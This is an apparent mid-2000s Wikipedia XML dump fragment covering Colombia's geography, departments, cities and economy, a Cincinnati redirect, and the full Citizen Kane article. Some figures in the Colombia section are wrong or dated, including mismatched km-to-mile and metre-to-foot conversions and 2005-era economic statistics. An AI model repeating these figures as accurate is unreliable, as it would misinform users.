Located in the North of [[South America]] (4 00 N, 72 00 W) and part of [[Caribbean South America]]. The only South American country with coast in both oceans ([[Atlantic]] or [[Caribbean Sea]] with 1,760 kilometres (1,094&amp;nbsp;[[mile|mi]]) and [[Pacific Ocean]] with 1,448 kilometres (900&amp;nbsp;mi). Borders: North with the Caribbean Sea (sea borders with [[Jamaica]], [[Haiti]] and [[Dominican Republic]]). West with [[Panama]] (225&amp;nbsp;km&amp;nbsp;/&amp;nbsp;140&amp;nbsp;mi) and sea borders with [[Costa Rica]] both in the Pacific and Atlantic Ocean and [[Guatemala]]. South with [[Ecuador]] (590&amp;nbsp;km&amp;nbsp;/&amp;nbsp;118&amp;nbsp;mi), [[Peru]] (1,496&amp;nbsp;km&amp;nbsp;/&amp;nbsp;930&amp;nbsp;mi) and [[Brazil]] (1,643&amp;nbsp;km&amp;nbsp;/&amp;nbsp;1,021&amp;nbsp;mi). East with Brazil and [[Venezuela]] (2,050 &amp;nbsp;km&amp;nbsp;/&amp;nbsp;1,274&amp;nbsp;mi).
&lt;!-- Image with unknown copyright status removed: [[Image:Mountains_Colombia.jpg|thumb|right|175px|Parque Nacional]] --&gt;
Colombia has a total area of 1,138,910 [[square kilometre]]s (439,736&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]) being the fourth biggest country in South America after Brazil, [[Argentina]] and Peru and the seventh one in the [[The Americas|American Continent]]. From this area, the land has 1,038,700 square kilometres (401,044&amp;nbsp;sq.&amp;nbsp;mi) and the water area has 100,210 square kilometres (38,691&amp;nbsp;sq.&amp;nbsp;mi). It has also an archipelago in the Caribbean sea (San Andres, Providencia and Santa Catalina) that forms the territory of the department [[San Andrés and Providencia|San Andrés y Providencia]].

Mainland territory divided into four major geographic regions: Andean highlands (composed of three mountain ranges and intervening valley lowlands); Caribbean lowlands; Pacific lowlands; and Ilanos and tropical rainforest of eastern Colombia. Colombia also possesses small islands in both Caribbean Sea and Pacific Ocean. 

Striking variety in temperature resulting principally from differences in elevation; little seasonal variation. Habitable areas consist of hot (below 900&amp;nbsp;[[meter|m]]&amp;nbsp;/&amp;nbsp;2,950&amp;nbsp;[[foot (unit of length)|ft]] in elevation), temperate (between 900 &amp; 1,980&amp;nbsp;m or 2,950 &amp; 6,500&amp;nbsp;ft), and cold (from 1,980&amp;nbsp;m to about 3,500&amp;nbsp;m or from 2,950&amp;nbsp;ft to 11,500&amp;nbsp;ft) climatic zones. Precipitation generally moderate to heavy, with highest levels in Pacific lowlands and in parts of eastern Colombia; considerable year-to-year variations recorded. 

The Andes range is located in Colombia from Southwest (Ecuador boarder) toward Northeast (Venezuela boarder) and is divided in the [[Colombian Massif]] (Macizo Colombiano) in three ranges (East Range, Centre Range and West Range) that form two long valleys, [[Magdalena]] and [[Cauca]] follow by the rivers of the same name. The highest mountain in Colombia is not in the Andes but in the Caribbean plain: [[Sierra Nevada de Santa Marta]] with its highest points named Pico Cristobal Colon (5,775&amp;nbsp;m or 18,947&amp;nbsp;ft) and Pico Simon Bolivar (same elevation).
&lt;!-- Image with unknown copyright status removed: [[Image:Hills_Colombia.jpg|thumb|right|175px|Cerros de Mavecuri]] --&gt;

The eastern part of Colombia, comprising more than half its territory, is plain and composed by [[savanna]] and [[rainforest]], crossed by rivers belonging to the [[Amazon River|Amazon]] and [[Orinoco]] [[River basin|basins]]. The northern part, called &quot;Los Llanos&quot; is a savanna region, mostly in the Orinoco basin (therefore called also Orinoquía). The southern part, usually called Amazonía, is covered by the Amazon rain forest and belongs mostly to the Amazon basin.

At the north and west of the Andes there are coastal plains, the Caribbean plains to the north and the Pacific plains to the west.

The five traditional natural regions are therefore: the [[Andean Region (Colombia)|Andean Region]], the [[Caribbean Region (Colombia)|Caribbean Region]], the [[Pacific Region (Colombia)|Pacific Region]], the [[Orinoquia Region (Colombia)|Orinoquia Region]] and the [[Amazonia Region (Colombia)|Amazonia Region]]. Some people also include an [[Insular Region (Colombia)|Insular Region]], separated from the coastal regions.

== Departments ==
:''Main article:'' [[Departments of Colombia]]

{| style=&quot;background-color: transparent;&quot;
| valign=top |
* [[Amazonas Department, Colombia|Amazonas]] ([[Leticia]])
* [[Antioquia Department|Antioquia]] ([[Medellín]])
* [[Arauca Department|Arauca]] ([[Arauca, Arauca|Arauca]])
* [[Atlántico Department|Atlántico]] ([[Barranquilla]])
* [[Bolívar Department|Bolívar]] ([[Cartagena, Colombia|Cartagena]])
* [[Boyacá Department|Boyacá]] ([[Tunja]])
* [[Caldas Department|Caldas]] ([[Manizales]])
* [[Caquetá Department|Caquetá]] ([[Florencia]])
* [[Casanare Department|Casanare]] ([[Yopal]])
* [[Cauca Department|Cauca]] ([[Popayán]])
* [[Cesar Department|Cesar]] ([[Valledupar]])
* [[Chocó Department|Chocó]] ([[Quibdó]])
* [[Córdoba Department|Córdoba]] ([[Montería]])
* [[Cundinamarca]] ([[Bogotá]])
* [[Guainía Department|Guainía]] ([[Puerto Inírida]])
* [[Guajira Department|Guajira]] ([[Riohacha]])
* [[Guaviare Department|Guaviare]] ([[San José del Guaviare]])
| valign=top |
* [[Huila Department|Huila]] ([[Neiva]])
* [[Magdalena Department|Magdalena]] ([[Santa Marta]])
* [[Meta Department|Meta]] ([[Villavicencio]])
* [[Nariño Department|Nariño]] ([[Pasto]])
* [[Norte de Santander]] ([[Cúcuta]])
* [[Putumayo Department|Putumayo]] ([[Mocoa]])
* [[Quindío Department|Quindío]] ([[Armenia, Colombia|Armenia]])
* [[Risaralda Department|Risaralda]] ([[Pereira, Colombia|Pereira]])
* [[San Andrés and Providencia]] ([[San Andrés, Colombia|San Andrés]])
* [[Santander Department|Santander]] ([[Bucaramanga]])
* [[Sucre Department|Sucre]] ([[Sincelejo]])
* [[Tolima Department|Tolima]] ([[Ibagué]])
* [[Valle del Cauca]] ([[Cali]])
* [[Vaupés Department|Vaupés]] ([[Mitú]])
* [[Vichada Department|Vichada]] ([[Puerto Carreño]])
|}

Additionally, there is one capital district (''distrito capital''), [[Bogotá|Bogotá D.C.]]

== Most Important Cities Of Colombia ==

The most important cities of Colombia are those that have the most important politic, economy, industrial, Urban and cultural development. A friendly rivality between some cities like Medellín, Cali, Pereira and Manizales exists because they claim to be the best in their area, but the order of the cities is organized by which city has the best develoment in all aspects (economy, industry, culture, education) for that reason the most importants cities of the country (13 cities) are classified this way:

# [[Bogotá]] (''2600 metros más cerca de las estrellas'' – 2600 m Closer To The Stars)
# [[Medellín]] (''La ciudad de la eterna primavera'' – The City Of Eternal Spring) 
# [[Cali]] (''La sucursal del cielo'' – Heaven's Branch)
# [[Barranquilla]] (''La puerta de oro de colombia'' – Colombias' Golden Gate)
# [[Cartagena, Colombia|Cartagena]] (''La heroica''  – The Heroic (City))
# [[Pereira]] (''La querendona, trasnochadora y morena'' – The Lovely Sleepless Brunette)
# [[Bucaramanga]] (''La ciudad bonita'' – The Beautiful City) 
# [[Manizales]] (''La ciudad de las puertas abiertas'' – The City Of Open Gates)
# [[Ibagué]] (''La capital musical de Colombia'' – Musical Capital Of Colombia)
# [[Cúcuta]]   
# [[Pasto]] (''Ciudad Sorpresa'' – The Surprise City)
# [[Armenia, Colombia|Armenia]] (''La Ciudad Milagro'' – The Miracle City)
# [[Villavicencio]]
# [[Valledupar]] (''Capital mundial del vallenato'' – World's Vallenato Capital)

== Economy ==
[[Image:2000-PesosUnd500Pesos-CC-Attribution.jpg|thumb|right|2.000 Pesos bill and 500 Pesos coin]]
:''Main article:'' [[Economy of Colombia]]

After experiencing decades of steady growth (average GDP growth exceeded 4% in the 1970-1998 period), Colombia entered into a recession in 1999, and the recovery from that recession was long and painful. Colombia's economy suffers from weak domestic and foreign demand, austere government budgets, and serious internal armed conflicts.  The IMF Economic Indicators published on [[September 21]], [[2005]], forecast the Colombian GDP to reach [[US$]]112,300,000,000 in 2005.  Inflation has been below 6% for 2004 and 2005, and is expected to remain below 5% during 2006.  Colombia's main exports include manufactures (41.62 of exports), [[petroleum]] (26.52%), coal (12.11%), [[cocaine]] (9.34%) and [[Federación Nacional de Cafeteros de Colombia|coffee]] (6.10%),  New oil exploration is needed to offset declining oil production. All imports, exports, and the general trade balance are in record levels, and the inflow of export dollars has resulted in substantial revaluation of the [[Colombian peso]], trading slightly below 2300 pesos for US$1 by September 2005. 

The problems facing the country range from reforming the [[pension]] system to reducing high unemployment. Several international financial institutions have praised the economic reforms introduced by current President [[Alvaro Uribe]], which include measures designed to reduce the public-sector deficit below 2.5% of Gross domestic product (GDP) in [[2004]]. The government's economic policy and its controversial [[democratic security strategy]] have engendered a growing sense of confidence in the economy, usually within the business sector, and GDP growth in [[2003]] which was among the highest in Latin America. In 2005, the value of Colombia's exports are expected to total US$25 billion.

== Demographics ==
:''Main article:'' [[Demographics of Colombia]]

Colombia has a diverse population that reflects its colourful history and the peoples that have populated her from ancient, to colonial and modern times. The historic amalgam of three main groups are the basis of Colombia's current demographics: indigenous [[Amerindian]]s, immigrant [[European]]s (primarliy [[Spain|Spanish]] colonists), and imported [[Africa]]n slaves. 
Other smaller immigrant flows include Middle Easterners, particularly Arabs.

This [[miscegenation]] has created a racial and ethnic continuum; an order characterized by fluidity and ambiguity in which any claims of inclusion within the categories of [[Amerindian]], [[Afro-Latin American|Afro-Colombian]], [[mestizo]], [[mulatto]], [[zambo]] or [[white]] is far from being evident.

Colombia is the third most populous country in [[Latin America]], after [[Brazil]] and [[Mexico]].

== Religion ==
90% of the population practices [[Roman Catholicism]]. The other 10% is divided mainly among several [[Protestant]] groups with a minority of [[Jewish]], [[Muslim]] and other indigenous religions.

==Culture==
:''Main article:'' [[Culture of Colombia]]
* [[Cinema of Colombia]]
* [[Colombian cuisine]]
* [[List of Colombians]]
* [[List of people on stamps of Colombia]]
* [[List of universities in Colombia]]
* [[Music of Colombia]]
* [[Carnival in Colombia]]
* [[Festivals in Colombia]]

== Miscellaneous topics ==
* [[Communications in Colombia]]
* [[Foreign relations of Colombia]]
* [[List of cities in Colombia]]
* [[Military of Colombia]]
* [[Palenquero]]
* [[Transportation in Colombia]]
* [[Colombian Armed Conflict]]

== External links ==
{{sisterlinks|Colombia}}


'''Government'''
* [http://www.presidencia.gov.co/Ingles/news/news.htm Presidencia de la República de Colombia] - President (In English)
* [http://www.armada.mil.co/english/ Armada Nacional de Colombia] -  Navy (In English)
* [http://www.ejercito.mil.co/english/ Ejército Nacional de Colombia] - Army (In English)
* [http://www.banrep.gov.co/engroot/home4.htm Banco de la República] - Central Bank (In English)

'''Directories'''
* [http://dmoz.org/Regional/South_America/Colombia Open Directory Project - ''Colombia''] - directory category (In English)
* [http://dmoz.org/World/Espa%c3%b1ol/Regional/Am%c3%a9rica/Colombia Open Directory Project - ''Colombia''] - directory category (In Spanish)

'''News'''
* [http://www.periodicos-colombia.sitioco.com/ Journals of Colombia ] (In Spanish)
* [http://www.eltiempo.terra.com.co/ El Tiempo] (In Spanish)
* [http://elpais-cali.terra.com.co/paisonline/ El Pais] (In Spanish)
* [http://about.reuters.com/dynamic/countrypages/colombia/ Reuters] (In Spanish)

'''Travel'''
* {{Wikitravel}}
* [http://www.mincomercio.gov.co/VBeContent/home.asp Mincomercio] - official ministry (In Spanish)

'''Images'''
* [http://www.uniandes.edu.co/Colombia/Fotos/fotos.html Bank of images] (In Spanish)

 
'''Other'''
* [http://www.latinbusinesschronicle.com/colombia Latin Business Chronicle: Colombia Business Reports, Statistics and Links]



{{South America}}

[[Category:Colombia| ]]
[[Category:South American countries]]

[[af:Kolombië]]
[[ar:كولومبيا]]
[[an:Colombia]]
[[ast:Colombia]]
[[zh-min-nan:Colombia]]
[[bn:কলম্বিয়া]]
[[ca:Colòmbia]]
[[cs:Kolumbie]]
[[cy:Colombia]]
[[da:Colombia]]
[[de:Kolumbien]]
[[et:Colombia]]
[[es:Colombia]]
[[eo:Kolombio]]
[[fr:Colombie]]
[[gl:Colombia]]
[[ko:콜롬비아]]
[[hr:Kolumbija]]
[[io:Kolumbia]]
[[id:Kolombia]]
[[ia:Colombia]]
[[is:Kólumbía]]
[[it:Colombia]]
[[he:קולומביה]]
[[la:Columbia]]
[[lv:Kolumbija]]
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[[li:Colombia]]
[[hu:Kolumbia]]
[[mk:Колумбија]]
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[[ja:コロンビア]]
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[[ro:Columbia]]
[[qu:Kulumbiya]]
[[ru:Колумбия]]
[[sa:कोलोम्बिया]]
[[sq:Kolumbia]]
[[simple:Colombia]]
[[sk:Kolumbia]]
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[[fi:Kolumbia]]
[[sv:Colombia]]
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[[ta:கொலம்பியா]]
[[tr:Kolombiya]]
[[uk:Колумбія]]
[[yi:קאלאמביע]]
[[zh:哥伦比亚]]</text>
    </revision>
  </page>
  <page>
    <title>Cincinnati</title>
    <id>5223</id>
    <revision>
      <id>22553097</id>
      <timestamp>2005-09-04T16:22:50Z</timestamp>
      <contributor>
        <ip>12.73.70.105</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cincinnati, Ohio]]</text>
    </revision>
  </page>
  <page>
    <title>Citizen Kane</title>
    <id>5224</id>
    <revision>
      <id>41562533</id>
      <timestamp>2006-02-28T04:11:29Z</timestamp>
      <contributor>
        <username>Moocreature</username>
        <id>295324</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Citizen Kane |
  image          = citiza_kane.jpg |
  imdb_id        = 0033467 |
  writer         = [[Orson Welles]],&lt;br&gt;[[Herman J. Mankiewicz]]|
  starring       = [[Orson Welles]],&lt;br&gt;[[Joseph Cotten]],&lt;br&gt;[[Ruth Warrick]],&lt;br&gt;[[Everett Sloane]],&lt;br&gt;[[George Coulouris]],&lt;br&gt;[[Ray Collins (actor)|Ray Collins]],&lt;br&gt;[[Agnes Moorehead]] |
  director       = [[Orson Welles]] |
  producer       = [[Orson Welles]] |
  distributor       = [[RKO Radio Pictures]] |
  released   = [[May 1]], [[1941]] |
  runtime        = 119 min. |
  language = English |
  music          = |
  awards         = |
  budget         = $686,033 (est.)
}}

'''''Citizen Kane''''' was the first [[feature film]] directed by [[Orson Welles]], who had previously directed two short films. Endlessly discussed and dissected by critics and viewers alike, this innovative masterpiece is perhaps the most influential in the [[history of film|history of film]].

''Citizen Kane'' is rumored to be based on the lives of the newspaper magnate [[William Randolph Hearst]], the reclusive aerospace and movie mogul [[Howard Hughes]], and the Chicago utilities magnate [[Samuel Insull]]. Welles maintained that the film's main character, Charles Foster Kane, is a composite of several historical individuals. In ''[[F for Fake]]'', Welles claims Kane was originally intended to be based on Hughes (to be played by Joseph Cotten) but he changed it to Hearst. During production, ''Citizen Kane'' was referred to as ''[[RKO 281]]''. The film premiered on [[May 1]], [[1941]].

The movie has some parallels to the [[1933]] movie ''[[The Power and the Glory (movie)|The Power and the Glory]]''.

The only remaining living cast member is [[Sonny Bupp]] who played Kane's young son, Charles Foster Kane III. [[Robert Wise]], who died of [[heart failure]] on [[September 14]], [[2005]], was the last living crew member.

==Synopsis==
{{spoiler}}
Produced in 1941, the film deals with the inability of [[Charles Foster Kane]] (played by Orson Welles) to truly [[love]]. Instead Kane has only &quot;Love on my own terms.&quot; As a result, Kane eventually alienates every loved one around him and dies a lonely recluse in an opulent but crumbling estate.

Kane dies in the opening scene of the film at his estate Xanadu; this is followed by a [[newsreel]] pastiche documenting Kane's public life (this segment was produced by RKO's actual newsreel department).

A reporter, Jerry Thompson, and a group of associates watch the newsreel, and convinced that the newsreel was regarded as functional but not especially profound as it didn't tell the whole story, Thompson is determined to find the meaning behind Kane's last word, &quot;[[MacGuffin|rosebud]]&quot;.  The reporters interview the key figures who, for better or worse, played a part in Kane's life, which is told in a series of flashbacks.

We first see Kane's tainted childhood, followed by his entrance into the newspaper business and his establishment of &quot;yellow journalism&quot;; his rise to power; his first marriage to a [[President of the United States|President]]'s niece, his run for governor, and the &quot;love nest&quot; scandal that ended them both; his second marriage to a woman who he molded as an opera singer; and his ever-dominant attitude that led to destruction within his entire inner circle of friends and loved ones, including himself.

In the end, however, Thompson concludes that &quot;rosebud&quot; is a piece in a missing mythological puzzle, and that no one word can describe a man's life.  The film's chilling conclusion reveals the meaning behind &quot;rosebud&quot;...it was the name of a sled from Kane's childhood, and represented a lost childhood innocence.  The sled is thrown in the fire to be burned (having been dismissed as junk), and the story ends exactly as it began, with a shot of a &quot;no trespassing&quot; sign.

[[Image:Stamp-ctc-orson-welles.jpg|thumb|200px|left|Citizen Kane, directed by and starring [[Orson Welles]], is here commemorated on a [[postage stamp]]. In this famous scene Kane gives a political speech with a giant portrait of himself in the background.]]
==Overview==
What is revealed was described by [[Jorge Luis Borges]], in a 1941 review, as a &quot;metaphysical detective story. [Its] subject (both psychological and allegorical) is the investigation of a man's inner self, through the works he has wrought, the words he has spoken, the many lives he has ruined... Overwhelmingly, endlessly, Orson Welles shows fragments of the life of the man, Charles Foster Kane, and invites us to combine them and reconstruct him. Forms of multiplicity and incongruity abound in the film: the first scenes  record the treasures amassed by Kane; in one of the last, a poor woman, luxuriant and suffering, plays with an enormous jigsaw puzzle on the floor of a palace that is also a museum. At the end we realize that the fragments are not governed by a secret unity: the detested Charles Foster Kane is a simulacrum, a chaos of appearances.&quot;

The film combines revolutionary cinematography (by [[Gregg Toland]], with whom Welles shared a title card, which was an unprecedented gesture of Welles' appreciation for Toland's overall contribution to the film) with an [[Academy Award|Oscar]]-winning screenplay (by Welles and Herman J. Mankiewicz&amp;mdash;though most film history circles consider Mankiewicz's contribution to the screenplay to be far greater than that of Welles), and a lineup of first time film actors, associates of Mr. Welles' from his stint at the [[Mercury Theater]], such as [[Joseph Cotten]] and [[Agnes Moorehead]].

== Filmmaking innovations ==
[[Image:Citizenkane.jpg|thumb|200px|Orson Welles' Citizen Kane poster]]Film scholars and historians view ''Citizen Kane'' as Welles' attempt to create a new style of filmmaking by studying the various forms of movie making, and combining them all into one (much like [[D. W. Griffith]]'s ''[[The Birth of a Nation]]'' did in [[1915 in film|1915]]).  Examination of the techniques used by Welles and his crew reveals elements of [[expressionism]] in the use of light and shadow, noting the influence of [[German film history|German]] and [[Cinema of Russia|Russian]] filmmakers. Welles's acting style can also be seen as an early example of [[method acting]], for example when Kane vents his anger at his political opponent, Jim Gettys, at the top of a flight of stairs Welles tripped and broke his ankle during the filming of the scene, but the cameras continued to roll and the shot made it into the final print of the film. But others view this instead as an example of Welles' workhorse ethic. Welles as a director disliked actors who subscribed to method acting, considering them unreliable and in particular he dismissed the practice of internalizing as being a hindrance rather than contributing to the production as a whole. He liked to work with actors who were maleable to his vision and always prepared to change a delivery at the drop of a hat without too much worry over motivation. Welles,as an actor, frequently practiced [[cold reading]] and spent more time memorizing lines (which never took him long) than doing any mental prep work. It is commonly agreed that the there are, however, instances in Citizen Kane where Welles became consumed with his role. In one famous scene in the movie, Kane destroys his second wife's bedroom with his bare hands after she has left him for good. According to biographers, after Welles destroyed the room and shooting finished he stumbled off the set with bloody hands muttering to himself, &quot;I felt it. I felt it.&quot;

The most innovative technical aspect of &quot;Kane&quot; is the unprecedented use of [[deep focus]]. In nearly every scene in the film, the foreground, background and everything in between are all in sharp focus.  This was done by legendary cinematographer Gregg Toland through his experimentation with lenses and lighting. Specifically, Toland often used telephoto lenses to shoot close-up scenes. Anytime the deep focus was impossible&amp;mdash;for example in the scene when Kane finishes a bad review of Alexander's opera while at the same time firing the person who started the review&amp;mdash;Toland used an optical printer to make the whole screen appear in focus (one piece of film is printed onto another piece of film). 

Another unorthodox method used in the film was the way low-angle cameras were used to display a point of view facing upwards, thus allowing ''ceilings'' to be shown in the background of several scenes.  Since movies were primarily filmed on [[sound stage]]s and not on location during the era of the [[Hollywood]] [[studio system]], it was impossible to film at an angle that showed ceilings because the stages had none.  Welles' crew used black cloth draped above the set to produce the illusion of a regular room with a ceiling, while the boom mikes were hidden above the cloth.
[[Image:Ruth citizen kaneDame.jpg|thumb|right|240px|[[Ruth Warrick]] as Emily Monroe Norton Kane in a publicity still from ''Citizen Kane''.]]
One of the story-telling techniques introduced in this film was using a series of [[jump cut]]s shot on the same set while the characters changed costume and make-up between cuts so that the scene following the cut would look as if it took place at a time long after the previous cut.  In this way, Welles chronicled the breakdown of Kane's first [[marriage]], which took years of story time, in a matter of minutes.  Prior to this technique, filmmakers often had to use a long period of screen time to explain the character's changed circumstances. For example, in [[Erich von Stroheim]]'s masterpiece ''[[Greed (film)|Greed]]'', the breakdown of the marriage of the main characters takes almost an hour of screen time, even in the most abbreviated cut.

Welles also pioneered several visual effects in order to cheaply shoot things like crowd scenes and large interior spaces.  For example, the scene where the camera in the opera house rises dramatically to the rafters to show the workman showing a lack of appreciation for the second Mrs. Kane's performance was shot by panning a camera upwards over the performance scene, matching it with a painting showing the upper regions of the house, and then matching it again with the scene of the workmen.

During the filming ([[June 29]]&amp;ndash;[[October 23]], [[1940]]), Welles prevented studio executives of [[RKO Pictures|RKO]] from visiting the set. He understood their desire to control projects and he knew they were expecting him to do an exciting film that would correspond to his ''[[The War of the Worlds (radio)|The War of the Worlds]]'' radio broadcast.  Welles' RKO contract had given him complete control over the production of the film when he signed on with the studio, something that he never again was allowed to exercise when making motion pictures.

== Conflict with William Randolph Hearst ==
Much of Kane's life is seen by critics as a fictional [[parody]] of (or attack on) media baron [[William Randolph Hearst]].  The most notable reference to Hearst comes early in the film, as Kane (played by Welles) provides a quote that mirrors Hearst's own comment on the [[Spanish American War]]: &quot;You provide the pictures, I'll provide the war.&quot; (An often-debated Hollywood legend says that the reference to &quot;Rosebud&quot; was also an attack on Hearst: allegedly, it was a nickname used by Hearst to refer to the clitoris of his mistress, [[Marion Davies]], or to Marion Davies herself; Marion's mother was named Rose). According to Louis Pizzitola, author of ''[http://www.hearstoverhollywood.com Hearst Over Hollywood]'', &quot;rosebud&quot; was a nickname that a friend of Hearst's, Orrin Peck, gave to Hearst's mother, Phoebe Hearst. It was said that Phoebe was as close, or even closer, to Orrin than she was to her own son, lending a bitter-sweet element to the word's use in a film about a boy being separated from his mother's love.

On hearing about the film, Hearst offered RKO Pictures $800,000 to destroy all prints of the film and burn the negative. Although it's often said that Hearst was upset because the film was about him, one alternative theory is that Hearst was more upset about the portrayal of Davies (as talentless singer Susan Alexander) than himself in the film. Davies was a competent light comedic actress who was talked by Hearst into starring in pompous costume dramas many thought were out of her depth.  [[Roger Ebert]], in his full-length commentary of &quot;Citizen Kane,&quot; suggested that the Alexander character had very little to do with Davies, but, rather, that it was based on [[Ganna Walska]], mistress and later wife of Chicago heir [[Harold McCormick]]. McCormick spent thousands of dollars on voice lessons for her and even arranged for Walska to take the lead in a production of ''[[Zaza]]'' at the Chicago Opera in 1920.  Unlike Alexander, Walska got into an argument with director Pietro Cimini during dress rehearsal and stormed out of the production before she appeared.  Like Alexander, contemporaries said she had a terrible voice, pleasing only to McCormick.  

Several candidates for the basis of the Kane personality have been suggested, the most likely being that of [[Jules Brulatour]], millionaire head of distribution for [[Eastman Kodak]] and co-founder of [[Universal Pictures]]. Brulatour's second and third wives, [[Dorothy Gibson]] and [[Hope Hampton]], both fleeing stars of the silent screen who later had marginal careers in opera, are also believed to have provided inspiration for the Susan Alexander character.

When RKO refused Hearst's offer to suppress the film, Hearst was so angry that he banned every newspaper and station in his media conglomerate from reviewing or even mentioning the movie. Although these efforts damaged the film's success, they ultimately failed considering that almost every reference of Hearst's life and career made today typically includes a reference to the film's parallel to it. The irony of Hearst's efforts is that the film is now inexorably connected to him. This connection was reinforced by the publication in [[1961]] of W. A. Swanberg's extensive [[biography]] titled ''Citizen Hearst''.

Welles, however, saw the difference between the men. In 1968, he told [[Peter Bogdanovich]], &quot;You know, the real story of Hearst is quite different from Kane's.  And Hearst himself -- as a man, I mean -- was very different.&quot;

==Awards and recognition==
The 1941 [[Academy Award for Writing Original Screenplay]] was shared by Welles and [[Herman J. Mankiewicz]] as the only Oscar awarded for the film. It was nominated, however, for another eight awards{{ref|oscars}}:
*[[Academy Award for Best Picture]] - Orson Welles, producer
*Best Actor in a Leading Role - Orson Welles
*[[Academy Award for Best Art Direction]]-Interior Decoration, Black-and-White - [[Perry Ferguson]], [[A. Roland Fields]], [[Van Nest Polglase]], and [[Darrell Silvera]]
*Best Cinematography, Black-and-White - [[Gregg Toland]]
*Best Director - Orson Welles
*Best Film Editing - [[Robert Wise]]
*Best Music, Scoring of a Dramatic Picture - [[Bernard Herrmann]]
*Best Sound, Recording - [[John Aalberg]]

Boos were heard almost every time ''Citizen Kane'' was referred to during the Oscars ceremony that year. Most of Hollywood did not want the film to see the light of day considering the threats that William Hearst had made if it did.

''Citizen Kane'' was little seen and virtually forgotten until its release in [[Europe]] in [[1946]], where it garnered considerable acclaim, particularly from [[French cinema|French]] [[film critics]] such as [[Andre Bazin]]. In the United States, it was neglected and forgotten until its revival in the late [[1950s]], and its critical fortunes have skyrocketed since. Critics world wide began listing it among [[Films that have been considered the greatest ever|the best films ever made]]. For Welles, however, this was too late. Hearst had been successful in [[blacklist]]ing Welles in Hollywood so that no studio would agree to work with him.

The [[American Film Institute]] put the film at the top of its &quot;[[AFI's 100 Years... 100 Movies|100 Greatest Movies]]&quot; list; it has been selected for preservation in the United States [[National Film Registry]]; and it is consistently in the top 30 on the [[Internet Movie Database]]. Beginning in [[1962]], and every ten years since, it has been voted the best film ever made by the ''[[Sight and Sound]]'' critics' poll. The quote, &quot;Rosebud,&quot; was listed as no.&amp;nbsp;17 on the American Film Institute's [[AFI's 100 Years... 100 Movie Quotes]].

==Prints==
Welles's original master film negative of ''Citizen Kane'' was destroyed in a fire in the [[1970s]].  Until [[1991]], all existing theatrical prints of the film were made from copies of the original.  When the film was purchased by Ted Turner's [[Turner Entertainment]] (which bought the rights to the [[MGM]] and RKO film libraries), [[film preservation|film restoration]] techniques were used to produce a pristine print for a 50th Anniversary theatrical revival reissue in 1991 (released by [[Paramount Pictures]]). The [[2003]] [[United Kingdom|British]] [[DVD]] edition is taken from an interpositive held by the [[British Film Institute]].  The current U.S. DVD version (released by Warner Home Video) is taken from another digital restoration, supervised by Turner.

In [[2003]], Orson Welles' daughter Beatrice sued Turner Entertainment and RKO Pictures, claiming that the Welles estate is the legal owner of the film.  Her attorney said that Orson Welles had left RKO with an exit deal terminating his contracts with the studio, meaning that Welles still had an interest in the film and his previous contract giving the studio the ownership of the film was null and void.  Beatrice Welles also claimed that, if the courts did not uphold her claim of ownership, RKO nevertheless owes the estate 20% of the profits, from a previous contract which has not been lived up to.

In the [[1980s]], the film became the catalyst in the fight against the trend of [[film colorization]]. When Turner Entertainment announced plans to colorize the film, both public outcry and a previous clause written by Orson Welles himself led to these plans being cancelled.  Reportedly, Welles roared, &quot;Tell Turner to keep his goddamned Crayolas away from my film!&quot; when he found out about the colorization plans. Turner later claimed that this was a joke and that he never had any intention of colorizing the film.

==''The Battle over Citizen Kane''==
In [[1995]], [[Michael Epstein]] and [[Thomas Lennon]]'s acclaimed [[documentary]], ''The Battle Over Citizen Kane'' was aired as part of the [[PBS]] television series ''[[The American Experience]]''.  Narrated by [[Paul Winfield]], it chronicled the lives of Orson Welles and William Randolph Hearst and the furor caused by ''Citizen Kane''. It was later packaged as a bonus disc with the ''Citizen Kane'' DVD, which features audio commentary by film critic [[Roger Ebert]] and director [[Peter Bogdanovich]]. In part, the documentary inspired the 1999 [[Home Box Office|HBO]] [[biographical film]] ''[[RKO 281]]''.&lt;!--

Paragraph previously ended:

, which starred [[Liev Schreiber]] as Welles, [[James Cromwell]] as Hearst, [[Melanie Griffith]] as Marion Davies, [[John Malkovich]] as Herman Mankiewicz, and [[Roy Scheider]] as RKO boss George Schaefer.

which to me (User:Hoary) seems very trivial in the context of this documentary, let alone of Citizen Kane. But I'm not deleting it quite yet.

--&gt;

[[David Nasaw]], who appears in ''The Battle Over Citizen Kane'' as a Hearst expert, questioned some of the traditional wisdom about the movie in his book ''The Chief: The Life of William Randolph Hearst''. The documentary essentially lays the blame for Citizen Kane's failure at the feet of Hearst. Nasaw agrees Hearst's refusal to advertise the film hurt its chances of profitability, but also notes that the innovations Welles made with narrative, as well as the dark message at the heart of the film (that the pursuit of success is ultimately futile) meant that a popular audience could not appreciate its merits (Nasaw, 572-573). He goes on to say:

:Welles' ''Kane'' is a cartoon-like caricature of a man who is hollowed out on the inside, forlorn, defeated, solitary because he cannot command the total obedience, loyalty, devotion, and love of those around him. Hearst, to the contrary, never regarded himself as a failure, never recognized defeat, never stopped loving Marion (Davies) or his wife. He did not, at the end of his life, run away from the world to entomb himself in a vast, gloomy art-choked hermitage.

==See also==
*[[Beyond Citizen Kane]]
*[[Films that have been considered the greatest ever]]
*[[List of references to Citizen Kane in other work]]

==References==
{{Note|oscars}} [http://awardsdatabase.oscars.org/ampas_awards/DisplayMain.jsp?curTime=1125009297679 Academy database] retrieved August 25, 2005
Nasaw, David.  &lt;i&gt;The Chief: The Life of William Randolph Hearst.&lt;/i&gt;New York, Houghton Mifflin, 2000.

==External links==
{{wikiquote}}
*{{imdb title | id=0033467 | title=Citizen Kane}}
*[http://www.afi.com/tvevents/100years/movies.aspx The American Film Institute's &quot;100 Greatest Movies&quot; list]
* [http://www.movie-list.net/classics/citizen-kane.mov Original trailer]
*[http://www.filmsite.org/citi.html Greatest films]
*[http://www.globalcitizen.co.uk/about/essays/citizenkane.doc Essay on the use of ''mise-en-scene'' and cinematography]
*[http://www.ravecentral.com/citizenkane.html RaveCentral]
*[http://chicago.about.com/library/weekly/aa041700b.htm]

 &lt;!-- Orson Welles --&gt;


{{OrsonWelles}}

[[Category:1941 films]]
[[Category:Best Actor Oscar Nominee (film)]]
[[Category:Best Picture Oscar Nominee]]
[[Category:Cult films]]
[[Category:Drama films]]
[[Category:Films directed by Orson Welles]]
[[Category:RKO films]]
[[Category:United States National Film Registry]]

[[bs:Građanin Kejn]]
[[de:Citizen Kane]]
